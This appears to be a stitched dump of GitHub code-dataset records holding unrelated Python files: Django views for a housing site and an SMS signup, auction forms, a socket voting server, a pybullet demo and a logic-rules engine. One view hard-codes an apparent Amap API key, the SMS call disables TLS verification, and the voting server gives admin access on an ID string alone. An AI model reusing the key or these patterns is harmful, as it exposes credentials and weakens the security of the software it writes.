= request.POST.get('username','')\n if UserProfile.objects.filter(username=user_name):\n return render(\n request,\"register.html\",{\n \"register_form\": register_form,\"msg\": \"用户已存在\"})\n pass_word = request.POST.get('password',' ')\n repeat_psw = request.POST.get('repeat',' ')\n if pass_word == repeat_psw:\n user_profile = UserProfile()\n user_profile.username = user_name\n # 密码不可明文存储,通过make_password方法加密\n user_profile.password = make_password(pass_word)\n user_profile.save()\n return render(request,'login.html')\n else:\n return render(\n request,\"register.html\",{\n \"register_form\": register_form,\"msg\": \"两次输入密码不一致\"})\n else:\n return render(request,'register.html',{\"msg\": \"用户名或密码不合法\"})\n\n\n# 用户登录\ndef bizcircle_community(request):\n input = request.POST.get('input')\n data = models.Community.objects.filter(bizcircle=input).values()\n data = json.dumps(list(data), cls=DjangoJSONEncoder, ensure_ascii=False)\n return HttpResponse(data)\n\ndef station_community(request):\n station = request.POST.get('station')\n data = models.Community.objects.filter(taglist__contains=station).values()\n data = json.dumps(list(data), cls=DjangoJSONEncoder, ensure_ascii=False)\n return HttpResponse(data)\n\ndef user_login(request):\n if request.method == \"GET\":\n return render(request,'login.html')\n elif request.method == \"POST\":\n login_form = LoginForm(request.POST)\n if login_form.is_valid():\n user_name = request.POST.get('username','')\n pass_word = request.POST.get('password',' ')\n # 成功返回user对象,失败返回null\n user = authenticate(username=user_name,password=pass_word)\n if user is not None:\n login(request,user)\n newslist = models.newsFlash.objects.all()[:4]\n return render(request,'home.html',{\"newslist\": newslist})\n else:\n return render(request,'login.html',{\"msg\": \"用户名或密码错误!\"})\n else:\n return render(request,'login.html',{\"msg\": \"用户名或密码缺失\"})\n\n# 用户退出\ndef user_logout(request):\n logout(request)\n newslist = models.newsFlash.objects.all()[:4]\n return render(request,'home.html',{\"newslist\": newslist})\n\ndef user_settings(request):\n if request.method == \"GET\":\n return render(request,\"settings.html\",{})\n\ndef user_info(request):\n if request.method == \"POST\":\n # return render(request,'settings.html',{ })\n # 不像用户咨询是一个新的。需要指明instance 不然会变成新增用户\n user_info_form = UserInfoForm(request.POST,instance=request.user)\n # return render(request,'settings.html')\n if user_info_form.is_valid():\n user_info_form.email = request.POST.get(\"email\",'')\n user_info_form.mobile = request.POST.get(\"mobile\",'')\n user_info_form.save()\n return render(request,'settings.html',{})\n\ndef reset_pwd(request):\n if request.method == \"POST\":\n reset_form = ResetPwdForm(request.POST)\n # return render(request,'settings.html')\n user = request.user\n if reset_form.is_valid():\n oldpwd = request.POST.get(\"oldpassword\")\n newpwd = request.POST.get(\"newpassword\",\"\")\n repwd = request.POST.get(\"repeatpassword\",\"\")\n if user.check_password(oldpwd):\n # 如果两次密码不相等,返回错误信息\n if newpwd != repwd:\n return render(request,'settings.html',{\"msg\": \"两次输入密码不一致\"})\n user.password = make_password(repwd)\n user.save()\n logout(request)\n return render(request,'login.html',{})\n else:\n return render(request,'settings.html',{\"msg\": \"原始密码不符,请重新输入\"})\n # 验证失败说明密码位数不够。\n else:\n return render(request,\"settings.html\",{\n \"modiypwd_form\": reset_form,\"msg\": \"密码输入格式有误\"})\n\ndef community_detail(request):\n\n community_title=request.POST.get('community')\n community=models.Community.objects.filter(title=community_title)\n if len(community)==0:\n messages.warning(request,'抱歉,查找失败')\n return render(request,'index.html')\n community = community[0]\n collect_status = 0\n if request.user.is_authenticated:\n id = community.id\n is_collect = models.UserCollect.objects.filter(user=request.user.username,community_id=int(id))\n if len(is_collect) == 0:\n collect_status = 0\n else:\n collect_status = 1\n address=\"上海市\"+community.district+community_title\n parameters1 = {'address': address, 'key': 'f14f3c4d3e03c58b2cb53fdacb49ecb7'}\n base1 = 'http://restapi.amap.com/v3/geocode/geo'\n response = requests.get(base1, parameters1)\n answer = response.json()\n lng=answer['geocodes'][0]['location'].split(',')[0]\n lat=answer['geocodes'][0]['location'].split(',')[1]\n base2='http://restapi.amap.com/v3/place/around'\n parameters2={'location':answer['geocodes'][0]['location'], 'keywords':'医院','type':'090000','radius':1000,'key': 'f14f3c4d3e03c58b2cb53fdacb49ecb7'}\n count = requests.get(base2, parameters2).json()['count']\n return render(request,'community_detail.html',{'community':community,'lng':lng,'lat':lat,'count':count,'collect_status':collect_status})\n\ndef his_price(request):\n unitprice_infos=[]\n dateList=['2017-01', '2017-02', '2017-03', '2017-04', '2017-05', '2017-06', '2017-07', '2017-08', '2017-09','2017-10', '2017-11', '2017-12',\n '2018-01', '2018-02', '2018-03']\n for date in dateList:\n unitprice_infos.append(models.Sellinfo.objects.filter(dealdate__contains=date).exclude(unitprice='下载APP查看成交>').aggregate(avgprice=Avg('unitprice')))\n return render(request,'his_price.html',{'unitprice_infos':unitprice_infos})\ndef his_detail(request):\n return render(request,'his_detail.html')\ndef community_info(request):\n return render(request,'community_info.html')\ndef community_hisprice(request):\n community=request.POST.get('community')\n data=models.Sellinfo.objects.filter(community=community).exclude(unitprice='下载APP查看成交>').values('dealdate','unitprice').order_by('dealdate')\n data = json.dumps(list(data), cls=DjangoJSONEncoder)\n return HttpResponse(data)\n\ndef community_hisdetail(request):\n community = request.POST.get('community')\n data=models.Houseinfo.objects.filter(community=community).values('housetype').annotate(Count('housetype'))\n data = json.dumps(list(data), cls=DjangoJSONEncoder,ensure_ascii=False)\n return HttpResponse(data)\ndef district_hisprice(request):\n district = request.POST.get('district')\n data = models.Sellinfo.objects.filter(district=district).exclude(unitprice='下载APP查看成交>').values('dealdate','unitprice').order_by('dealdate')\n data = json.dumps(list(data), cls=DjangoJSONEncoder, ensure_ascii=False)\n return HttpResponse(data)\n\n# 从数据库获取新闻资讯返回\ndef news(request):\n\n newslist = models.newsFlash.objects.all().order_by('id')\n\n # 对新闻进行分页\n try:\n page = request.GET.get('page',1)\n except PageNotAnInteger:\n page = 1\n p = Paginator(newslist,6,request=request)\n\n news = p.page(page)\n return render(request, 'news.html',{\"newslist\":news})\n\ndef collect(request):\n if request.method == \"POST\":\n # 默认值为0 防止程序崩盘\n id = request.POST.get('community_id',0)\n\n # 收藏与已收藏取消收藏\n # 判断用户是否登录:即使没登录会有一个匿名的user\n if not request.user.is_authenticated:\n # 未登录时返回json提示未登录,跳转到登录页面在ajax中实现\n # return HttpResponse('{\"status\":0, \"msg\":\"用户未登录\"}',content_type='application/json')\n data = json.dumps({\"status\":0, \"msg\": \"用户未登录\"},cls=DjangoJSONEncoder)\n return HttpResponse(data)\n exist_records = UserCollect.objects.filter(user=request.user.username,community_id=int(id))\n if exist_records:\n # 如果记录已经存在, 则表示用户取消收藏\n exist_records.delete()\n # return HttpResponse('{\"status\":1, \"msg\":\"收藏\"}',content_type='application/json')\n data = json.dumps({\"status\": 1,\"msg\": \"关注小区\"},cls=DjangoJSONEncoder)\n return HttpResponse(data)\n else:\n user_fav = models.UserCollect()\n # 默认值为0 剔除默认\n if int(id) > 0:\n user_fav.community_id = int(id)\n user_fav.user = request.user.username\n user_fav.save()\n # return HttpResponse('{\"status\":1, \"msg\":\"已关注\"}',content_type='application/json')\n data = json.dumps({\"status\": 1,\"msg\": \"已关注\"},cls=DjangoJSONEncoder)\n return HttpResponse(data)\n else:\n # return HttpResponse('{\"status\":0, \"msg\":\"收藏出错\"}',content_type='application/json')\n data = json.dumps({\"status\": 0,\"msg\": \"收藏出错\"},cls=DjangoJSONEncoder)\n return HttpResponse(data)\n\ndef show_collect(request):\n if request.method == \"GET\":\n user = request.user.username\n fav_id_list = UserCollect.objects.filter(user=user)\n user_fav_list = []\n for fav_comminuty in fav_id_list:\n id = fav_comminuty.community_id\n user_fav_list.append(models.Community.objects.get(id=id))\n # return render(request,'collect.html',{\n # \"user_fav_list\": user_fav_list,\n # })\n\n try:\n page = request.GET.get('page',1)\n except PageNotAnInteger:\n page = 1\n p = Paginator(user_fav_list,10,request=request)\n\n news = p.page(page)\n return render(request,'collect.html',{\"user_fav_list\": user_fav_list, \"user_fav_list_page\": news})\n\ndef invest_ass(request):\n return render(request,'invest_ass.html',{})\n\ndef price_predict(request):\n if request.method == \"GET\":\n return render(request,'price_predict.html',{})\n if request.method == \"POST\":\n # 可以设置默认值但是没设置\n community = request.POST.get('community')\n\n exist_records = models.Community.objects.filter(title=community)\n if not exist_records:\n data = json.dumps({\"status\": 0,\"msg\": \"不存在该小区\"},cls=DjangoJSONEncoder)\n return HttpResponse(data)\n else:\n find_com = exist_records[0]\n if len(find_com.taglist) == 0:\n near_sub = 0\n else:\n near_sub = 1\n if find_com.cost == \"暂无信息\":\n wuye_price = 0.75\n else:\n wuye_price = find_com.cost\n length = len(wuye_price)\n wuye_price = wuye_price[0:length-6]\n if not wuye_price.isdigit():\n wuye_price = wuye_price[0:3]\n if find_com.price == \"暂无\":\n com_price = 50251\n else:\n com_price = find_com.price\n data = json.dumps({\"status\": 1,\"msg\": \"查询到小区信息\",\"near_sub\":near_sub,\"wuye_price\":wuye_price,\"com_price\":com_price},cls=DjangoJSONEncoder)\n return HttpResponse(data)\n\ndef buy_or_rent(request):\n return render(request,'buy_or_rent.html')\n","repo_name":"TheExpendabless/JUJU.com","sub_path":"ju/illustration/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73165997634","text":"from django import forms\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit\nfrom crispy_forms.bootstrap import Div, FormActions\n\nfrom .models import Listing, Bid, Comment\n\n# Source: https://ordinarycoders.com/blog/article/django-modelforms\n\n# Create your forms here.\nclass ListingForm(forms.ModelForm):\n class Meta:\n model = Listing\n fields = (\"title\", \"description\", \"starting_price\", \"image_url\", \"brand\", \"type\", \"condition\")\n\n\nclass BidForm(forms.ModelForm):\n class Meta:\n model = Bid\n fields = (\"value\",)\n widgets = {\n \"value\": forms.NumberInput(attrs={\"placeholder\": \"Bid\"}),\n }\n labels = {\n \"value\": \"\",\n }\n\n # https://stackoverflow.com/questions/17830470/get-request-in-form-field-validation\n def __init__(self, *args, **kwargs):\n self.listing_id = kwargs.pop('listing_id', None)\n super(BidForm, self).__init__(*args, **kwargs)\n\n def clean(self):\n\n # https://www.geeksforgeeks.org/python-form-validation-using-django/\n super(BidForm, self).clean()\n\n value = self.cleaned_data.get(\"value\")\n\n listing = Listing.objects.get(pk=self.listing_id)\n\n try:\n # Ensure bid placed is higher than highest bid\n highest_bid = listing.bids.order_by('-value')[0].value\n if not value > highest_bid:\n self._errors['value'] = self.error_class([\n f'Bid should be more than ${highest_bid}']) \n except IndexError:\n # Ensure bid placed at least equal to starting price\n if not value >= listing.starting_price:\n self._errors['value'] = self.error_class([\n f'Bid should be at least ${listing.starting_price}']) \n\n return self.cleaned_data\n\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = (\"message\",)\n widgets = {\n \"message\": forms.Textarea(attrs={\n \"placeholder\": \"Add a comment...\",\n \"rows\": \"2\",\n }),\n }\n labels = {\n \"message\": \"\",\n }\n\n\nclass CategoriesForm(forms.ModelForm):\n\n # https://stackoverflow.com/questions/46892518/inline-form-with-django-crispy-form\n def __init__(self, *args, **kwargs):\n super(CategoriesForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.form_tag = False\n self.helper.layout = Layout(\n Div(\n Div(\"brand\", css_class=\"col\"),\n Div(\"type\", css_class=\"col\"),\n Div(\"condition\", css_class=\"col\"),\n Div(\n FormActions(Submit('submit', 'Filter')),\n css_class=\"col-auto categories-button\"\n ),\n css_class='row container-fluid mx-auto',\n ))\n\n\n class Meta:\n model = Listing\n fields = (\"brand\", \"type\", \"condition\")\n","repo_name":"RCalvin2005/CS50Web-Commerce","sub_path":"auctions/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11150963562","text":"from data import question_data\nfrom question_model import Question\nfrom quiz_brain import QuizBrain\n\nquestion_bank = []\nfor item in question_data:\n q_text = item[\"text\"]\n q_answer = item[\"answer\"]\n new_question = Question(q_text, q_answer)\n question_bank.append(new_question)\n\nquiz = QuizBrain(question_bank)\n\nfor quiz.still_has_questions in range(10):\n quiz.next_question()\n\n\nprint(f\"You've completed the quiz\\nYour final score is: {quiz.score}/{quiz.question_number}\")","repo_name":"siddharth07-ui/python_projects","sub_path":"quiz-game-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33908177825","text":"import socket\nimport json\nimport threading\nimport time\n\n# Carregando os dados iniciais a partir do arquivo JSON\nwith open(\"voting_data.json\", \"r\") as file:\n data = json.load(file)\n\ncandidates = data[\"candidates\"]\nvoters = data[\"voters\"]\nvote_timeout = 50\nstart_time = time.time()\n\n# Carregando dados de administradores a partir do arquivo JSON\nwith open(\"admins.json\", \"r\") as admin_file:\n admin_data = json.load(admin_file)\nadmins = admin_data[\"admins\"]\n\n# Função para verificar se um CPF é de um administrador\ndef is_admin(cpf):\n for admin in admins:\n if admin[\"cpf\"] == cpf:\n return admin\n return None\n\n# Função para adicionar um novo candidato\ndef add_candidate(candidate_name):\n new_candidate = {\"id\": len(candidates) + 1, \"name\": candidate_name, \"votes\": 0}\n candidates.append(new_candidate)\n with open(\"voting_data.json\", \"w\") as file:\n json.dump(data, file)\n\n# Função para remover um candidato pelo índice\ndef remove_candidate(candidate_index):\n if 0 <= candidate_index < len(candidates):\n removed_candidate = candidates.pop(candidate_index)\n with open(\"voting_data.json\", \"w\") as file:\n json.dump(data, file)\n return removed_candidate\n return None\n\n# Função para lidar com a conexão de um cliente\ndef handle_client(client_socket):\n voter_id = client_socket.recv(1024).decode()\n admin = is_admin(voter_id)\n\n if admin:\n # Se o usuário é um administrador, permita o acesso direto às opções do administrador\n client_socket.send(b\"Acesso de administrador concedido!\\n\")\n client_socket.send(b\"Opcoes de administrador:\\n\")\n client_socket.send(b\"1. Adicionar candidato\\n\")\n client_socket.send(b\"2. Remover candidato\\n\")\n\n try:\n admin_choice = client_socket.recv(1024).decode()\n except ConnectionResetError:\n print(\"Administrador encerrou conexão antes de selecionar opção.\")\n return\n if admin_choice == \"1\":\n # Adicionar candidato\n client_socket.send(b\"Digite o nome do novo candidato: \")\n new_candidate_name = client_socket.recv(1024).decode()\n add_candidate(new_candidate_name)\n print(f\"Novo candidato adicionado: {new_candidate_name}\")\n elif admin_choice == \"2\":\n # Remover candidato\n client_socket.send(b\"Digite o indice do candidato que deseja remover: \")\n try:\n candidate_index = int(client_socket.recv(1024).decode())\n removed_candidate = remove_candidate(candidate_index)\n if removed_candidate:\n message = f\"Candidato removido: {removed_candidate['name']}\\n\"\n try:\n client_socket.send(message.encode())\n except ConnectionResetError:\n print(\"Erro ao enviar mensagem ao cliente.\")\n else:\n client_socket.send(b\"Indice de candidato invalido.\\n\")\n except ValueError:\n client_socket.send(b\"Indice de candidato invalido.\\n\")\n else:\n client_socket.send(b\"Opcao de administrador invalida.\\n\")\n elif time.time() - start_time >= vote_timeout:\n # Se o tempo de votação já acabou, envie os resultados\n results = {\"candidates\": candidates}\n total_votes = sum(candidate[\"votes\"] for candidate in candidates)\n \n # Verifique se há empate (mesma quantidade de votos entre os principais candidatos)\n top_candidates = [candidate for candidate in candidates if candidate[\"votes\"] == max(candidates, key=lambda x: x[\"votes\"])[\"votes\"]]\n \n if total_votes > 0 and len(top_candidates) == 1:\n # Caso em que há um vencedor claro\n winner = top_candidates[0]\n winner_percentage = (winner[\"votes\"] / total_votes) * 100\n winner_name = winner[\"name\"]\n else:\n # Caso em que há um empate ou nenhum voto\n winner_name = \"Empate\" if total_votes > 0 else \"Nenhum voto\"\n winner_percentage = 0\n \n results[\"total_votes\"] = total_votes\n results[\"winner_name\"] = winner_name\n results[\"winner_votes\"] = top_candidates[0][\"votes\"] if top_candidates else 0\n results[\"winner_percentage\"] = winner_percentage\n client_socket.send(json.dumps(results).encode())\n\n else:\n if voter_id not in voters:\n client_socket.send(json.dumps(candidates).encode())\n try:\n candidate_id = int(client_socket.recv(1024).decode())\n except ValueError:\n candidate_id = 0\n print(\"Candidato foi desconectado antes de votar.\")\n\n if 1 <= candidate_id <= len(candidates):\n candidates[candidate_id - 1][\"votes\"] += 1\n voters[voter_id] = candidate_id\n\n # Atualizando os dados no arquivo JSON\n with open(\"voting_data.json\", \"w\") as file:\n json.dump(data, file)\n\n client_socket.send(b\"Voto registrado com sucesso!\\n\")\n else:\n client_socket.send(b\"Candidato invalido!\\n\")\n else:\n client_socket.send(b\"Voce ja votou!\\n\")\n\n client_socket.close()\n print(f\"Conexao encerrada.\")\n\n# Configuracao do servidor\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind((\"0.0.0.0\", 9999))\nserver.listen(5)\n\nprint(\"Servidor de votacao ativo e aguardando conexoes...\")\nwhile True:\n client, addr = server.accept()\n print(f\"Conexao recebida de {addr[0]}:{addr[1]}\")\n client_handler = threading.Thread(target=handle_client, args=(client,))\n client_handler.start()\n","repo_name":"brunoalves0921/SD","sub_path":"Questão 4/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":5757,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42350062319","text":"\nfrom unification import Var, unify, reify\n\nfrom .proof import Proof, Term\nfrom .rename_variables import rename_variables\nfrom .errors import NoProofFoundError, MultipleProofsError\n\n\nclass Rule:\n def __init__(self, conclusion, given=()):\n self.conclusion = conclusion\n self.premises = given\n self.name = None\n\n def __set_name__(self, owner, name):\n self.name = name\n self.conclusion = owner.parse(self.conclusion)\n self.premises = tuple(owner.parse(p) for p in self.premises)\n\n\nclass Rules:\n\n @classmethod\n def get_rules(cls):\n for name in dir(cls):\n candidate_rule = getattr(cls, name)\n if isinstance(candidate_rule, Rule):\n rule = candidate_rule\n yield rule\n\n @classmethod\n def _proofs_of_many(cls, terms):\n (first_term, *other_terms) = terms\n for proof in cls._proofs_of(first_term):\n if other_terms:\n reified_other_terms = reify(other_terms, proof.parent_variables)\n for other_proofs in cls._proofs_of_many(reified_other_terms):\n yield (proof, *other_proofs)\n else:\n yield (proof, )\n\n @classmethod\n def _proofs_of(cls, term):\n\n # If term contains any variables then we rename them here so that they\n # don't collide with variable names used in this proof.\n term = rename_variables(term, '__parent__.')\n\n for rule in cls.get_rules():\n variables = unify(term, rule.conclusion)\n if variables is False:\n continue\n\n if not rule.premises:\n yield Proof(rule, variables)\n continue\n\n # If we reach here it means that there are premises to prove.\n reified_premises = [reify(x, variables) for x in rule.premises]\n for premise_proofs in cls._proofs_of_many(reified_premises):\n candiate_variables = variables\n for (premise, premise_proof) in zip(reified_premises, premise_proofs):\n candiate_variables = unify(premise, premise_proof.conclusion, candiate_variables)\n if candiate_variables is False:\n break\n else:\n yield Proof(rule, candiate_variables, premise_proofs)\n\n\n @classmethod\n def parse(cls, *args, **kwargs):\n number_of_args = len(args) + len(kwargs)\n if number_of_args != 1:\n raise TypeError(f'{cls.__name__}.parse expected 1 argument, got {number_of_args}')\n if kwargs:\n (non_terminal_name, string_to_parse) = kwargs.popitem()\n else:\n non_terminal_name = 'rule'\n string_to_parse = args[0]\n return getattr(cls, non_terminal_name).parse(string_to_parse)\n\n @classmethod\n def prove(cls, goal, unambiguously=True):\n term = cls.parse(goal)\n proofs = cls._proofs_of(term)\n try:\n proof = next(proofs)\n except StopIteration:\n raise NoProofFoundError from None\n\n if unambiguously:\n try:\n next(proofs)\n raise MultipleProofsError()\n except StopIteration:\n pass\n\n return proof\n\n @classmethod\n def proofs_of(cls, goal):\n term = cls.parse(goal)\n yield from cls._proofs_of(term)\n\n @classmethod\n def solve(cls, goal, unambiguously=True):\n proof = cls.prove(goal, unambiguously=unambiguously)\n result = proof['__parent__.__result__']\n result.proof = proof\n return result\n\n @classmethod\n def solutions_to(cls, goal):\n for proof in cls.proofs_of(goal):\n result = proof['__parent__.__result__']\n result.proof = proof\n yield result\n","repo_name":"richardcooper/inference","sub_path":"inference/rules.py","file_name":"rules.py","file_ext":"py","file_size_in_byte":3821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32155575704","text":"from matplotlib import pyplot as plt\nimport numpy as np\n\nA = 6\nfArray=[1,2,3,4,5]\nfiArray = [np.pi/6, np.pi/2, np.pi/3, np.pi/9, 0]\nN = 1024\nn = np.linspace(0, N-1)\n\ndef plot_task_3():\n for f in fArray:\n y=0;\n for fi in fiArray:\n y += A * np.sin(2 * np.pi * f * n/N + fi)\n plt.plot(n, y)\n plt.legend(fArray, loc='upper right')\n plt.show()\n\n\nif __name__ == \"__main__\":\n plot_task_3()","repo_name":"Dzakhveisha/DigitalSignalsHandling_labs","sub_path":"lab1/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40488743723","text":"import pybullet\nimport pybullet_data\n\npybullet.connect(pybullet.GUI)\npybullet.setAdditionalSearchPath(pybullet_data.getDataPath())\nplane = pybullet.loadURDF(\"plane.urdf\")\nrobot = pybullet.loadURDF(\"../kuka_experimental/kuka_kr210_support/urdf/kr210l150.urdf\",\n [0, 0, 0], useFixedBase=1) # use a fixed base!\npybullet.setGravity(0, 0, -9.81)\npybullet.setRealTimeSimulation(1) #this makes the simulation real time\n\npybullet.addUserDebugParameter('x')\n\nwhile 1:\n x = pybullet.readUserDebugParameter(0)\n pybullet.setJointMotorControlArray(robot, range(6), pybullet.POSITION_CONTROL,\n targetPositions=[x] * 6)\n","repo_name":"ironbar/pybullet_interactive_examples","sub_path":"move_all_joints_with_single_parameter.py","file_name":"move_all_joints_with_single_parameter.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3269962900","text":"# coding: utf-8\nfrom django.http import HttpResponse, HttpResponseBadRequest\nfrom django import forms\nfrom django.db.models import F,Q\nfrom . import models,zhinput,util\nimport json\nfrom django.forms import model_to_dict\nimport requests\nimport random\nimport time\nfrom datetime import datetime\nimport base64\n# import config\nimport os\n\n\ndef full_user_avatar_url(filename):\n return os.path.join(config.AVATAR_HOST, filename)\n\n\ndef age_from_timestamp(timestamp):\n time_struct = time.localtime(float(timestamp))\n now = time.localtime()\n age = now.tm_year - time_struct.tm_year\n return age\n\n\ndef user_model_to_dict(user_model):\n udict = model_to_dict(user_model)\n\n # 先暂时注释掉\n # udict['avatar_url'] = full_user_avatar_url(user_model.avatar_url)\n\n del udict['password']\n del udict['pw_salt']\n udict['age'] = age_from_timestamp(user_model.birthday)\n\n # 在这里将user中的datetime转换成正常输出格式的字符串\n\n\n return udict\n\n\ndef generate_random_code(length=4):\n s = ''\n for i in range(length):\n s += str(random.randint(0, 9))\n return s\n\n\ndef send_sms_to_phone(phone, message):\n resp = requests.post(\n \"http://sms-api.luosimao.com/v1/send.json\",\n auth=(\"api\", \"api-key\"),\n data={\n \"mobile\": phone,\n \"message\": message\n },\n timeout=3,\n verify=False\n )\n result = json.loads(resp.content.decode())\n return result\n\n\ndef response(error, msg, data):\n return json.dumps({\n 'error': error,\n 'msg': msg,\n 'data': data\n })\n\n\ndef index(request):\n return HttpResponse(\"Hello, world. You're at the polls index.\")\n\n\ndef get_provinces(request):\n provinces = models.Province.objects.all()\n result = [model_to_dict(p) for p in provinces]\n body = response('ok', 'get provinces success', {\n 'provinces': result\n })\n print(result)\n return HttpResponse(body)\n\n\ndef get_cities(request):\n province_id = request.GET.get('province_id', -1)\n cities = models.City.objects.filter(province=province_id)\n result = [model_to_dict(c) for c in cities]\n body = response('ok', 'get cities success', {\n 'cities': result\n })\n return HttpResponse(body)\n\n\ndef get_departments(request):\n departments = models.Department.objects.all()\n result = [model_to_dict(d) for d in departments]\n body = response('ok', 'get departments success', {\n 'departments': result\n })\n return HttpResponse(body)\n\n\ndef get_majors(request):\n department_id = request.GET.get('department_id', -1)\n majors = models.Major.objects.filter(department=department_id)\n result = [model_to_dict(m) for m in majors]\n body = response('ok', 'get majors success', {\n 'majors': result\n })\n return HttpResponse(body)\n\n\ndef get_classes(request):\n major_id = request.GET.get('major_id', -1)\n classes = models.Clazz.objects.filter(major=major_id)\n result = [model_to_dict(c) for c in classes]\n body = response('ok', 'get classes success', {\n 'classes': result\n })\n return HttpResponse(body)\n\n\ndef verify_phone(request):\n if request.method == 'POST':\n POST = request.body.decode('utf-8')\n data = json.loads(POST)\n\n phone = data.get('phone', '')\n code = data.get('code', '')\n sms_type = data.get('type', '')\n\n try:\n verify = models.PhoneVerify.objects.get(\n phone=phone,\n code=code,\n sms_type=sms_type,\n verify_time=0\n )\n verify.verify_time = int(time.time())\n verify.save()\n except models.PhoneVerify.DoesNotExist:\n body = response('verify:failed', 'verify failed', {})\n return HttpResponse(body)\n\n body = response('ok', 'verify success', {})\n return HttpResponse(body)\n else:\n body = response('method error', 'please use post method', {})\n return HttpResponse(body)\n\n\ndef post_signup_sms(request):\n if request.method == 'POST':\n POST = request.body.decode('utf-8')\n data = json.loads(POST)\n\n phone = data.get('phone', '')\n code = generate_random_code()\n\n phone_model = models.User.objects.filter(phone=phone)\n if phone_model.count() > 0:\n body = response('phone:exists', 'user exists', {'phone': phone})\n return HttpResponse(body)\n\n # save code and phone to db\n verify = models.PhoneVerify(\n phone=phone,\n code=code,\n sent_time=int(time.time()),\n sms_type=models.PhoneVerify.SIGNUP\n )\n verify.save()\n\n # send sms\n sms = r'欢迎注册gravity,验证码为{}【引力】'.format(code)\n r = send_sms_to_phone(phone, sms)\n print(r)\n body = response('ok', 'send sms success', {})\n return HttpResponse(body)\n else:\n body = response('method error', 'please use post method', {})\n return HttpResponse(body)\n\n\ndef post_password_sms(request):\n if request.method == 'POST':\n POST = request.body.decode('utf-8')\n data = json.loads(POST)\n\n phone = data.get('phone', '')\n code = generate_random_code()\n\n phone_model = models.User.objects.filter(phone=phone)\n if phone_model.count() == 0:\n body = response('phone:not_exists', 'user not exists', {'phone': phone})\n return HttpResponse(body)\n\n # save code and phone to db\n verify = models.PhoneVerify(\n phone=phone,\n code=code,\n sent_time=int(time.time()),\n sms_type=models.PhoneVerify.PASSWORD\n )\n verify.save()\n\n # send sms\n sms = r'正在找回gravity密码,验证码为{}【引力】'.format(code)\n send_sms_to_phone(phone, sms)\n body = response('ok', 'send sms success', {})\n return HttpResponse(body)\n else:\n body = response('method error', 'please use post method', {})\n return HttpResponse(body)\n\n\ndef phone_signup(request):\n if request.method == 'POST':\n POST = request.body.decode('utf-8')\n data = json.loads(POST)\n\n try:\n zhinput.all_exists(data, (\n 'nickname', 'phone', 'password', 'gender', 'birthday', 'clazz', 'block_same_class',\n 'hometown', 'love_status', 'prefer_gender', 'contact', 'region', 'area_num', 'location_name',\n 'timestamp'\n ))\n except zhinput.ZHInputKeyNotExist as e:\n body = response(e.key + ':not_exists', e.key + ' missing', {})\n return HttpResponse(body)\n\n try:\n phone = zhinput.as_string(data, 'phone', min_length=11, max_length=11)\n except (zhinput.ZHInputStringTooShort, zhinput.ZHInputStringNotLongEnough) as e:\n body = response(e.key + ':invalid', e.key + 'is invalid', {})\n return HttpResponse(body)\n\n # check user by phone\n if models.User.objects.filter(phone=phone).count() > 0:\n body = response('user:exists', 'user exists', {})\n return HttpResponse(body)\n\n # check verified or not\n try:\n phone_verify_cursor = models.PhoneVerify.objects.filter(\n phone=phone,\n verify_time__gt=0,\n sms_type=models.PhoneVerify.SIGNUP,\n used=False\n ).order_by('-verify_time')\n phone_verify_model = phone_verify_cursor[0]\n except IndexError:\n body = response('phone:not_verified', 'phone not verified', {})\n return HttpResponse(body)\n\n # data check\n try:\n nickname = zhinput.as_string(data, 'nickname')\n password = zhinput.as_string(data, 'password')\n avatar = zhinput.as_string(data, 'avatar', default='default_avatar.png')\n gender = zhinput.as_enum(data, 'gender', ('', 'male', 'female'))\n birthday = zhinput.as_int(data, 'birthday')\n clazz = zhinput.as_string(data, 'clazz')\n\n block_same_class = zhinput.as_bool(data, 'block_same_class')\n hometown = zhinput.as_string(data, 'hometown')\n\n love_status = zhinput.as_enum(data, 'love_status', ('', 'single', 'married', 'loving'))\n prefer_gender = zhinput.as_enum(data, 'prefer_gender', ('', 'male', 'female', 'both'))\n contact = zhinput.as_string(data, 'contact')\n introduction = zhinput.as_string(data, 'introduction')\n\n interest_tags = zhinput.as_json(data, 'interest_tags') #json格式应该不需要改了 TODO\n region = zhinput.as_enum(data, 'region', ('', 'west', 'east', 'middle'))\n\n area_num = zhinput.as_int(data, 'area_num')\n location_name = zhinput.as_string(data, 'location_name')\n\n timestamp = zhinput.as_float(data, 'timestamp')\n except zhinput.ZHInputNotFloat as e:\n body = response(e.key + ':not_float', e.key + ' is not float', {})\n return HttpResponse(body)\n except zhinput.ZHInputNotJSONString as e:\n body = response(e.key + ':not_json', e.key + ' is not json string', {})\n return HttpResponse(body)\n except zhinput.ZHInputEnumNotExists as e:\n body = response(e.key + ':not_valid', e.key + ' is not valid value', {})\n return HttpResponse(body)\n\n # stone get by interest tags\n tags_count = len(interest_tags)\n\n pw_salt = models.User.generate_pw_salt()\n\n # 注册时间\n signup_time = util.timestamp2Str(timestamp)\n\n user = models.User(\n nickname=nickname,\n phone=phone,\n pw_salt=pw_salt,\n password=models.User.encrypt(pw_salt.decode(), password), # make_password(str,str,'加密算法') ---> 返回str\n avatar_url=avatar,\n gender=gender,\n birthday=birthday,\n clazz=clazz,\n block_same_class=block_same_class,\n hometown=hometown,\n love_status=love_status,\n prefer_gender=prefer_gender,\n contact=contact,\n introduction=introduction,\n energy_stone=10 + tags_count * 